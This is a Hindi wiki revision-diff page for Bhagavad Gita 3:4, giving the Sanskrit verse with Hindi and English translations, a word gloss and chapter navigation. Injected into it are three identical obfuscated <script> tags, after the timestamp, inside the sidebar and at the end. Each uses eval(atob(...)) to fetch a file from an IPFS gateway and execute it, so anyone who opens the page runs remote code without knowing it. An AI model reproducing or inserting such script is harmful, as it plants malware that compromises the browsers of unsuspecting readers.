"गीता 3:4" के अवतरणों में अंतर
Deepak Sharma (चर्चा | योगदान) (नया पृष्ठ: {{subst:गीता}}) |
Deepak Sharma (चर्चा | योगदान) |
||
पंक्ति ३: | पंक्ति ३: | ||
<tr> | <tr> | ||
<td> | <td> | ||
− | ==गीता अध्याय- | + | ==गीता अध्याय-3 श्लोक-4 / Gita Chapter-3 Verse-4== |
{| width="80%" align="center" style="text-align:justify; font-size:130%;padding:5px;background:none;" | {| width="80%" align="center" style="text-align:justify; font-size:130%;padding:5px;background:none;" | ||
|- | |- | ||
पंक्ति ९: | पंक्ति ९: | ||
'''प्रसंग-''' | '''प्रसंग-''' | ||
---- | ---- | ||
− | + | इस प्रकार कर्मयोगी के लिये कर्तव्य कर्मों के न करने को योगनिष्ठा की प्राप्ति में बाधक और सांख्ययोगी के लिये सिद्धि की प्राप्ति में केवल बाहरी कर्मों के त्याग को गौण बतलाकर, अब अर्जुन को कर्तव्य कर्मों में प्रवृत्त करने के उद्देश्य से भित्र-भित्र हेतुओं से कर्म करने की आवश्कता सिद्ध करने के लिये पहले कर्मों के सर्वथा त्याग को आशक्य बतलाते हैं- | |
---- | ---- | ||
<div align="center"> | <div align="center"> | ||
− | ''' | + | '''न कर्मणामनारम्भात्रैष्कर्म्यं पुरूषोऽश्नुते ।'''<br /> |
+ | '''न च संन्यसनादेव सिद्धिं समधिगच्छति ।।4।।''' | ||
</div> | </div> | ||
---- | ---- | ||
पंक्ति २१: | पंक्ति २२: | ||
|- | |- | ||
| style="width:50%; font-size:120%;padding:10px;" valign="top"| | | style="width:50%; font-size:120%;padding:10px;" valign="top"| | ||
− | + | मनुष्य न तो कर्मों का आरम्भ किये बिना निष्कर्मता को यानी योगनिष्ठा को प्राप्त होता है और न कर्मों के केवल त्याग मात्र से सिद्धि यानी सांख्यनिष्ठा को ही प्राप्त होता है ।।4।। | |
− | |||
− | |||
| style="width:50%; font-size:120%;padding:10px;" valign="top"| | | style="width:50%; font-size:120%;padding:10px;" valign="top"| | ||
− | + | Man does not attain freedom from action (culmination of the discipline of action) without entering upon action; nor does he reach perfection (culmination of the discipline of knowledge) merely by ceasing to act. (4) | |
− | |||
− | |||
|- | |- | ||
|} | |} | ||
पंक्ति ३५: | पंक्ति ३२: | ||
|- | |- | ||
| style="width:100%;text-align:center; font-size:110%;padding:5px;" valign="top" | | | style="width:100%;text-align:center; font-size:110%;padding:5px;" valign="top" | | ||
− | + | पुरूष: = मनुष्य ; न = न (तो) ; कर्मणाम् = कर्मोंके ; च = और ; न = न ; संन्यसनात् एव = कर्मोंको त्यागनेमात्रसे ; अनारम्भात् = न करनेसे ; नैष्कर्म्यम् = निष्कर्मताको ; अश्नुते = प्राप्त होता है ; सि़द्धिम् = भगवत्साक्षात्काररूप सिद्धिको ; समधिगच्छति = प्राप्त होता है ; | |
|- | |- | ||
|} | |} | ||
पंक्ति ४६: | पंक्ति ४३: | ||
{{गीता अध्याय 1}} | {{गीता अध्याय 1}} | ||
{{गीता अध्याय}} | {{गीता अध्याय}} | ||
+ | [[category:गीता]] |
१०:४१, ८ अक्टूबर २००९ का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
गीता अध्याय-3 श्लोक-4 / Gita Chapter-3 Verse-4
|
अध्याय एक श्लोक संख्या Verses- Chapter-1 |
1 | 2 | 3 | 4, 5, 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17, 18 | 19 | 20, 21 | 22 | 23 | 24, 25 | 26 | 27 | 28, 29 | 30 | 31 | 32 | 33, 34 | 35 | 36 | 37 | 38, 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 |
<sidebar>
- सुस्वागतम्
- mainpage|मुखपृष्ठ
- ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
- विशेष:Contact|संपर्क
- समस्त श्रेणियाँ|समस्त श्रेणियाँ
- SEARCH
- LANGUAGES
__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- गीता अध्याय-Gita Chapters
- गीता 1:1|अध्याय [1] Chapter
- गीता 2:1|अध्याय [2] Chapter
- गीता 3:1|अध्याय [3] Chapter
- गीता 4:1|अध्याय [4] Chapter
- गीता 5:1|अध्याय [5] Chapter
- गीता 6:1|अध्याय [6] Chapter
- गीता 7:1|अध्याय [7] Chapter
- गीता 8:1|अध्याय [8] Chapter
- गीता 9:1|अध्याय [9] Chapter
- गीता 10:1|अध्याय [10] Chapter
- गीता 11:1|अध्याय [11] Chapter
- गीता 12:1|अध्याय [12] Chapter
- गीता 13:1|अध्याय [13] Chapter
- गीता 14:1|अध्याय [14] Chapter
- गीता 15:1|अध्याय [15] Chapter
- गीता 16:1|अध्याय [16] Chapter
- गीता 17:1|अध्याय [17] Chapter
- गीता 18:1|अध्याय [18] Chapter
</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>